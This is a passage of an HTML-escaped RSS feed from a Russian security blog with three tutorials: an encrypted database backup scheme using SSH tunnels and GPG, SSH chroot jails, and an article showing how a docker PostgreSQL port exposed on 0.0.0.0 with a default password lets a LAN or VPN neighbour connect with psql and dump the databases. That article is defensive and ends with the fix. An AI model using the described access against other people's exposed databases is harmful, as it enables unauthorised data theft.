$ gpg --export -a 09C4C85DFC551EA1C582849AD2E40C9B90FA7366 &amp;gt; public.key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;подготовка-vps-и-серверов&quot;&gt;Подготовка VPS и серверов&lt;/h2&gt;

&lt;h3 id=&quot;импортируем-публичный-ключик&quot;&gt;Импортируем публичный ключик&lt;/h3&gt;

&lt;p&gt;Первым делом копируем с личной машины ранее сгенерированный публичный ключ на backups-vps. Далее импортируем его:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;backups-vps # gpg --import public.key
gpg: key D2E40C9B90FA7366: public key &quot;Cryptopunks &amp;lt;meow@cryptopunks.org&amp;gt;&quot; imported
gpg: Total number processed: 1
gpg:               imported: 1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;готовим-вход-по-ключу-для-ssh&quot;&gt;Готовим вход по ключу для ssh&lt;/h3&gt;

&lt;p&gt;Генерируем на backups-vpn RSA-ключ для входа по ssh на prod:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;backups-vps # ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/var/root/.ssh/id_rsa):
Created directory &apos;/var/root/.ssh&apos;.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /var/root/.ssh/id_rsa
Your public key has been saved in /var/root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:FiLis7/dfh2oXpGF+sZkfhJkn2cuCh1YI8ZuFpUf74c root@MacBook-Pro-lesha.local
The key&apos;s randomart image is:
+---[RSA 3072]----+
|          ..     |
|       . ....    |
|  . . . * *..o   |
| . . . + X =...  |
|  o     S B.o.o. |
|   o   + B.+.+E .|
|  .     ..O.o... |
|   . . ..+.+..   |
|    o..o+..      |
+----[SHA256]-----+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Предположим, что нам необходимо сделать дамп с СУБД PostgreSQL на prod.&lt;/p&gt;

&lt;p&gt;Логинимся на сервер prod, создаём отдельного пользователя &lt;strong&gt;backups&lt;/strong&gt; с шеллом &lt;strong&gt;/bin/false&lt;/strong&gt;, т.к. оболочка ему не нужна, мы прокинем лишь необходимые порты:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;prod # adduser -s /bin/false backups
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Добавляем ключ для логина с vps’ки:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;prod # mkdir /home/backups/.ssh
prod # chmod 700 /home/backups/.ssh
prod # vim /home/backups/.ssh/authorized_keys (сюда пишем содержимое **id_rsa.pub** из backups-vpns)
prod # chmod 600 /home/backups/.ssh/authorized_keys
prod # chown backups:backups -R /home/backups/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;создаём-ssh-туннель&quot;&gt;Создаём SSH-туннель&lt;/h3&gt;

&lt;p&gt;Поскольку СУБД висит обычно на локалхосте (или в докер-сети, например), а не на внешнем интерфейсе - к нему нельзя обратиться напрямую, поэтому необходимо создать туннель. Для этого на backups-vps создадим скрипт &lt;strong&gt;/root/tunnel.sh&lt;/strong&gt; примерно такого содержания:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#!/bin/sh

# prod postgresql
nc -z 127.0.0.1 6661

if [ $? -eq 0 ]; then
		echo &apos;Ok&apos;
	else
	ssh -N -L 127.0.0.1:6661:192.168.100.28:5432 backups@prod &amp;amp;
fi


###
аналогичным образом прописываем другие сервера/порты
###

# prod mysql
# nc -z 127.0.0.1 6662

# if [ $? -eq 0 ]; then
#	      echo &apos;Ok&apos;
#	else
#	      ssh -N -L 127.0.0.1:6662:192.168.100.22:3306 backups@prod &amp;amp;
# fi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Этот скрипт создаст на локалхосте backups-vpn порт 6661, который будет прокидывать порт 5432 на локальном айпи 192.168.100.28 у сервера prod.&lt;/p&gt;

&lt;p&gt;Следующий шаг - надо зайти на новый сервер руками, для того чтобы проверить и записать fingerprint:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;backups-vps # ssh backups@prod
...
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Аналогичным образом можно создать туннели для других серверов в этом скрипте, если серверов СУБД несколько (и не забыть про ручной вход при первом использовании!).&lt;/p&gt;

&lt;p&gt;Теперь тестово запускаем скрипт:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;backups-vps # ./tunnel.sh
Ok
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Проверяем через &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telnet localhost 6661&lt;/code&gt; и если все ок, значит скрипт работает как надо.&lt;/p&gt;

&lt;p&gt;Коннект рано или поздно отвалится, поэтому вызов скрипта нужно добавить в crontab:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;backups-vps # crontab -e
*/5 * * * * /root/tunnel.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;первый-бэкап-базы-и-шифрование-ее-gpg&quot;&gt;Первый бэкап базы и шифрование ее GPG&lt;/h2&gt;

&lt;p&gt;Можно попробовать снять дамп и зашифровать его ключами GPG:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;backups-vps $ pg_dump -h127.0.0.1 -p6661 -Upostgres -d finance |  gpg -e -r cryptopunks -r myfriend -o finance.gpg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Таким образом я сниму базу &lt;strong&gt;finance&lt;/strong&gt; с сервера &lt;strong&gt;prod&lt;/strong&gt; через сервер &lt;strong&gt;backups-vps&lt;/strong&gt;, сожму ее и зашифрую ключами GPG &lt;strong&gt;cryptopunks&lt;/strong&gt; и &lt;strong&gt;myfriend&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;как-расшифровать-базу&quot;&gt;Как расшифровать базу&lt;/h2&gt;

&lt;p&gt;Для этого копируем &lt;strong&gt;finance.gpg&lt;/strong&gt; с сервера backups-vps на компьютер, где у нас находится приватный ключ cryptopunks созданный ранее и выполняем команду:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gpg -d finance.gpg &amp;gt; finance.sql
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;важные-слова-о-безопасности-vps-приватных-ключах-и-бэкапах&quot;&gt;Важные слова о безопасности VPS, приватных ключах и бэкапах&lt;/h2&gt;

&lt;p&gt;VPS эту надо защитить всеми возможными способами, потому что на ней будут доступы ко всему. Поэтому VPS берём у проверенного провайдера (а лучше - хостим у себя), ничего кроме ssh/gpg/pg_dump/mysqldump на ней не держим, все порты кроме SSH фаерволлом закрываем, авторизацию по паролю убираем, по возможности шифруем ей диск. На приватный ключ SSH VPS ставим сложный пароль (вводим его каждый раз после перезагрузки через ssh-agent).&lt;/p&gt;

&lt;p&gt;Приватный ключ GPG не храним на ней ни в коем случае. Храним ключ на зашифрованной флешке и используем его на отдельном компьютере без интернета.&lt;/p&gt;

&lt;p&gt;На VPS проливаем лишь публичную часть ключа, которой будем шифровать бэкапы. Лучше добавить два ключа. Свой и человека, которому доверяешь (это может быть, например, коллега). Шифрованные же бекапы лучше хранить в двух разных местах и даже у разных хостеров.&lt;/p&gt;

&lt;p&gt;По возможности никому не даем доступы на эту машину! Если людям нужны эпизодически бэкапы, то открываем им доступ &lt;strong&gt;к другому серверу&lt;/strong&gt;, на который эти зашифрованные бэкапы переодически заливаются.&lt;/p&gt;

&lt;h2 id=&quot;плюсы-данного-подхода&quot;&gt;Плюсы данного подхода&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;бэкапы храняться на отдельном сервере и их сложно удалить/модифицировать/украсть&lt;/li&gt;
  &lt;li&gt;для снятия бэкапов не требуется доступ к серверу с бэкапами, потому что он сам за ними ходит куда надо&lt;/li&gt;
  &lt;li&gt;бэкапы шифруются стойкими алгоритмами шифрования&lt;/li&gt;
  &lt;li&gt;на сервере бэкапов нет ключей для их расшифровки&lt;/li&gt;
  &lt;li&gt;можно с сервера бэкапов организовать распределение резервных копий на другие сервера и облака&lt;/li&gt;
  &lt;li&gt;можно распределять доступы к базам разным людям, шифруя бэкапы нужными ключами конкретных юзеров&lt;/li&gt;
  &lt;li&gt;не требовательно к ресурсам&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;минусы-данного-подхода&quot;&gt;Минусы данного подхода&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;получив доступ к этой впс человек получит доступ ко всем серверам с которых эти резервные копии собираются&lt;/li&gt;
  &lt;li&gt;с доступом к ней можно прокинуть совершенно любой открытый порт с удаленного сервера через ssh&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;И да, всем привет после очень долгого затишья ;)&lt;/p&gt;
</description>
        <pubDate>Wed, 05 Feb 2025 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/secure-dbms-backup-scheme/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/secure-dbms-backup-scheme/</guid>
      </item>
    
      <item>
        <title>SSH доступ в chroot-окружение</title>
        <description>&lt;p&gt;Однажды мне понадобилось создать подруге доступ к серверу, но не хотелось давать ей возможность рыться в каталогах сервера. 
И я начал размышлять о том, как это можно реализовать. Да, можно ограничить доступ к определенным каталогам, но всё равно есть базовые вещи вроде &lt;strong&gt;/etc/passwd&lt;/strong&gt;, доступ к которым не закроешь. Да и если хранится критически важная инфа на сервере, то достаточно найти уязвимый компонент в ОС, применить эксплоит и получить root. Я решил усложнить эту задачу, засунув юзера дополнительно в chroot какого нибудь еще дистриба :)&lt;/p&gt;

&lt;h3 id=&quot;чтобы-не-запутаться-в-рекурсиях&quot;&gt;Чтобы не запутаться в рекурсиях&lt;/h3&gt;

&lt;p&gt;Теперь давай договоримся об обозначениях:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;myserver#&lt;/strong&gt; - сервер, на котором мы будем организовывать чрут&lt;br /&gt;
&lt;strong&gt;chroot#&lt;/strong&gt; - собственно, сам чрут на сервере&lt;br /&gt;
&lt;strong&gt;notebook$&lt;/strong&gt; - мой комп, с которого я логинюсь к чруту и серверу&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;создаём-юзера&quot;&gt;Создаём юзера&lt;/h3&gt;

&lt;p&gt;Сначала всё стандартно:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# adduser test
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Потом надо немного пошаманить с правами доступа:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# chown root:root /home/test
myserver# chmod 0755 /home/test
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Если вдруг потом потребуется вход по ключу, то права должны быть такие:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# mkdir /home/test/.ssh
myserver# echo &apos;ключик_для_входа&apos; &amp;gt; /home/test/.ssh/authorized_keys
myserver# chown -R test:test /home/test/.ssh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;шаманим-с-сашкой&quot;&gt;Шаманим с Сашкой&lt;/h3&gt;

&lt;p&gt;В конец файла &lt;strong&gt;/etc/ssh/sshd_config&lt;/strong&gt; прописываем строчки:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Match User test
ChrootDirectory /home/test
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Не забываем перезапустить:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;готовим-чрут&quot;&gt;Готовим чрут&lt;/h3&gt;

&lt;h4 id=&quot;урезаем-до-минимума&quot;&gt;Урезаем до минимума&lt;/h4&gt;

&lt;p&gt;Можно вообще юзеру запретить всё кроме того, что ему должно быть доступно. 
К примеру, ограничим пользователя оболочкой баша и бинарником &lt;strong&gt;/bin/ls&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Сначала смотрим, от каких либ зависит наши бинарники:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# ldd /bin/ls
        linux-vdso.so.1 (0x00007ffd40ede000)
        libselinux.so.1 =&amp;gt; /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fb098aa1000)
        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb0986b0000)
        libpcre.so.3 =&amp;gt; /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fb09843f000)
        libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb09823b000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fb098eeb000)
        libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb09801c000)

myserver# ldd /bin/bash
        linux-vdso.so.1 (0x00007fff881a3000)
        libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007fa973cdc000)
        libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa973ad8000)
        libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa9736e7000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fa974220000)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Далее создаем структуру аналогичную хостовой машине:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# cd /home/test
myserver# mkdir -p lib/x86_64-linux-gnu/ lib64 bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Копируем бинарники:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# cp /bin/bash /bin/ls /home/test/bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Копируем библиотеки:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# cp /lib/x86_64-linux-gnu/{libselinux.so.1,libc.so.6,libpcre.so.3,libdl.so.2,libpthread.so.0,libtinfo.so.5} /home/test/lib/x86_64-linux-gnu/
myserver# cp /lib64/ld-linux-x86-64.so.2 /home/test/lib64
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Пробуем залогиниться:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;notebook$ ssh test@myserver
...
chroot$ ls
bin  lib  lib64
chroot$ uname
-bash: uname: command not found
chroot$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Задача выполнена. По такой же аналогии копируем нужные бинари и получаем максимально кастрированную chroot-систему.&lt;/p&gt;

&lt;p&gt;Еще иногда для полноценной работы бывает нужно создать какие нибудь девайсы, например:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# mkdir /home/test/dev &amp;amp;&amp;amp; cd /home/test/dev
myserver# mknod -m 666 random c 1 8
myserver# mknod -m 666 zero c 1 5
myserver# mknod -m 666 tty c 5 0
myserver# mknod -m 666 null c 1 3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;ставим-полноценный-дистриб&quot;&gt;Ставим полноценный дистриб&lt;/h4&gt;

&lt;p&gt;Ну а если по какой-то причине нужен полноценный линукс, то можно поставить совершенно любой. Главное, чтобы архитектура была той же, что и в хостовой системе.&lt;/p&gt;

&lt;p&gt;Мне захотелось привести пример с gentoo linux.&lt;/p&gt;

&lt;p&gt;Поскольку долго старые снапшоты генты не залёживаются, то и приводить прямого линка не буду. 
Заходим &lt;a href=&quot;https://mirror.ps.kz/gentoo/pub/releases/amd64/autobuilds/current-stage3-amd64-systemd/&quot;&gt;сюда&lt;/a&gt; и качаем tar.xz-архив (у меня это был &lt;strong&gt;stage3-x32-openrc-20221009T170545Z.tar.xz&lt;/strong&gt;), кладём его в директорию &lt;strong&gt;/home/test&lt;/strong&gt; и распаковываем:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# cd /home/test
myserver# tar -xf stage3-x32-openrc-20221009T170545Z.tar.xz
myserver# ls
bin  boot  dev  etc  home  lib  lib64  libx32  media  mnt  opt  proc  root  run  sbin  stage3-x32-openrc-20221009T170545Z.tar.xz  sys  tmp  usr  var
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Далее, если мы приконнектимся, то получим урезанный в системном смысле, но не лишенный никаких бинарников дистрибутив:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;notebook$ ssh test@myserver
...
chroot$ uname -a
Linux pentest 4.15.0-176-generic #185-Ubuntu SMP Tue Mar 29 17:40:04 UTC 2022 x86_64 GNU/Linux
chroot$ df -h
df: cannot read table of mounted file systems: No such file or directory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;То есть в нем можно выполнять огромное кол-во необходимых задач, но взаимодействовать с ОС полноценно нельзя.&lt;/p&gt;

&lt;p&gt;Теперь сделаем работу с ОС в чруте практически идеальной. Прошу заметить, что при этом основная хостовая система станет чуть менее безопасной.&lt;/p&gt;

&lt;p&gt;Для начала фиксим права доступа, чтобы юзер &lt;strong&gt;test&lt;/strong&gt; стал рутом в своем чруте:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# chown -R test:test /home/test/*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Далее монтируем в чрут основные хостовые линуксовые ФС:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;myserver# cd /home/test
myserver# mount -o bind /proc proc
myserver# mount -o bind /sys sys
myserver# mount -o bind /dev dev
myserver# mount -o bind /run run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Заходим, пробуем:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;notebook$ ssh test@myserver
chroot$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            2.0G     0  2.0G   0% /dev
tmpfs           395M   41M  355M  11% /run
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Задача выполнена!&lt;/p&gt;

&lt;h3 id=&quot;немного-включаем-фантазию&quot;&gt;Немного включаем фантазию&lt;/h3&gt;

&lt;p&gt;Все эти уловки можно использовать и для другого рода задач. Например, у тебя есть сервер и ты хочешь иметь несколько дистрибов линукса на нём.&lt;/p&gt;

&lt;p&gt;Создай несколько юзеров и поставь каждому свой дистриб. Например, юзера kali с kali linux для пентеста.&lt;/p&gt;

&lt;p&gt;Хотя, с другой стороны, всё тоже самое можно сделать и руками через root+chroot, или вообще в docker (работая с докер не забывай &lt;a href=&quot;https://cryptopunks.org/article/simple-docker-attack-example/&quot;&gt;об этой ошибке&lt;/a&gt;). Но и такой способ тоже имеет право на существование!&lt;/p&gt;

&lt;p&gt;Если вдруг тебе пришла еще какая-нибудь мысль в голову, как это можно ещё использовать, то пиши &lt;a href=&quot;/about&quot;&gt;на почту&lt;/a&gt;, или в комментарии к этой статье в телеграм &lt;a href=&quot;https://t.me/cryptopunksorg&quot;&gt;@cryptopunksorg&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Sat, 15 Oct 2022 00:00:00 +0000</pubDate>
        <link>https://cryptopunks.org//article/ssh-access-in-chroot/</link>
        <guid isPermaLink="true">https://cryptopunks.org//article/ssh-access-in-chroot/</guid>
      </item>
    
      <item>
        <title>Простой пример атаки на docker</title>
        <description>&lt;p&gt;Многие люди по какой-то причине пускают docker у себя на локальном компьютере с очень уязвимыми параметрами, на которые никто не обращает внимание. Наверное, думают, что локальный компьютер это не страшно. Я хочу продемонстрировать как использовать эту уязвимость, чтобы ты проверил свой компьютер и устранил брешь в безопасности и помог другим ее устранить, скинув линк на статью.&lt;/p&gt;

&lt;h3 id=&quot;примеры-двух-уязвимостей&quot;&gt;Примеры двух уязвимостей&lt;/h3&gt;

&lt;p&gt;Часто ли ты встречал в доках в интернете примерно такой пример развертывания PostgreSQL:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;?&lt;/p&gt;

&lt;p&gt;Тут есть две серьезные ошибки.&lt;/p&gt;

&lt;p&gt;Первая - дефолтный пароль, который даже брутфорсить не нужно. Используй &lt;strong&gt;всегда&lt;/strong&gt; рандомный пароль, сгенерированный какой-нибудь специальной софтиной, даже если это локальный компьютер. Например, pwgen:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ pwgen 20
bohz5aa9aetoh1Iapedo doow7AiX5amai8aemewe aideiL3ooreexaiquae8
paPheeFu4aekeiDoocaa sheiloon6xuedeWoongi hoodoh4Eey1gaibahRei
iGheesie5seetieH2quo iNgei8eethie9yethecu Thie9kae9fae5eej1quu
soCiakikahngoo1sheiM re4Ea0eiph5Roo7ohCei eyar3aegeigerango6To
shanguoPh9fieFoh4te8 Leo3aen4tir3ahzeishi eewi7Haig1leeVei1oog
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Вторая серьёзная брешь в безопасности — параметр &lt;strong&gt;-p 5432:5432&lt;/strong&gt;. Именно о ней мы сегодня и поговорим.&lt;/p&gt;

&lt;h3 id=&quot;ищем-уязвимость-с-0000&quot;&gt;Ищем уязвимость с 0.0.0.0&lt;/h3&gt;

&lt;p&gt;Давай посмотрим, сколько потенциально уязвимых приложений запущено у тебя на компе. Запусти все свои контейнеры в docker и выполни команду:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker ps | grep 0.0.0.0
b028f8e80d3f   postgres:10   &quot;docker-entrypoint.s…&quot;   21 minutes ago   Up 1 second   0.0.0.0:5432-&amp;gt;5432/tcp   angry_aryabhata
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Если список пуст, то всё хорошо. Если что-то вывелось - беда.&lt;/p&gt;

&lt;p&gt;Понимаешь ли ты, что такое IP 0.0.0.0? Это адрес специального назначения, цель которого - принимать соединения &lt;strong&gt;с любого сетевого интерфейса&lt;/strong&gt;. 
Это значит, что ты пускаешь порт PostgreSQL на &lt;strong&gt;все сетевые адреса&lt;/strong&gt; своего компьютера.&lt;/p&gt;

&lt;p&gt;Если в твоем компе нет вайфая и эзернета, он стоит в шкафу, и ты никогда не планируешь выходить с его помощью в онлайн, то нет никаких проблем.
Но скорее всего он подключен к интернету, и тогда ты либо светишь портами докера наружу (что есть самый плохой из вариантов), либо - в локальную сеть со своим (чужим??) роутером.&lt;/p&gt;

&lt;p&gt;Если со внешкой всё понятно, то проблема локальной сети для некоторых может быть не очевидной. Про это и поговорим.&lt;/p&gt;

&lt;h3 id=&quot;дампим-базы-постгреса-с-локальной-сети&quot;&gt;Дампим базы постгреса с локальной сети&lt;/h3&gt;

&lt;p&gt;Допустим, ты подключен к общей с Васей wifi-сети. Вася берет и сканирует весь пулл адресов вашего вайфая (например, 192.168.1.1-255) — находит твой айпи 192.168.1.3 и видит на нём открытый порт постгреса 5432. Пробует законнектится:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ psql -U postgres -h192.168.1.3

psql (10.21 (Debian 10.21-1.pgdg90+1))
Type &quot;help&quot; for help.

postgres=#
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Теперь делает всё тоже самое, но уже с &lt;strong&gt;pg_dump&lt;/strong&gt;. И все твои базы у него в кармане.&lt;/p&gt;

&lt;h3 id=&quot;еще-одна-неочевидная-и-очень-стрёмная-проблема&quot;&gt;Еще одна неочевидная и очень стрёмная проблема&lt;/h3&gt;

&lt;p&gt;Хочешь еще прикол один расскажу? Ты можешь думать, что никогда не коннектишься к чужим вайфаям, твой вайфай дома сильно защищен (кстати, не верю, такого не бывает), и ты никому не говоришь пароля — но скорее всего ты когда-нибудь да пользуешься VPN! А это значит, что ты коннектишься в общую локальную сеть своего VPN-провайдера, а 0.0.0.0 в докере раздает доступ к порту 5432, в том числе в эту сеть! А значит, и другие юзеры этого VPN могут сдампить твою базу.&lt;/p&gt;

&lt;h3 id=&quot;как-правильно-создавать-контейнеры&quot;&gt;Как правильно создавать контейнеры&lt;/h3&gt;

&lt;p&gt;На примере того же PostgreSQL:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run -e POSTGRES_PASSWORD=bohz5aa9aetoh1Iapedo -p 127.0.0.1:5432:5432 postgres:10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

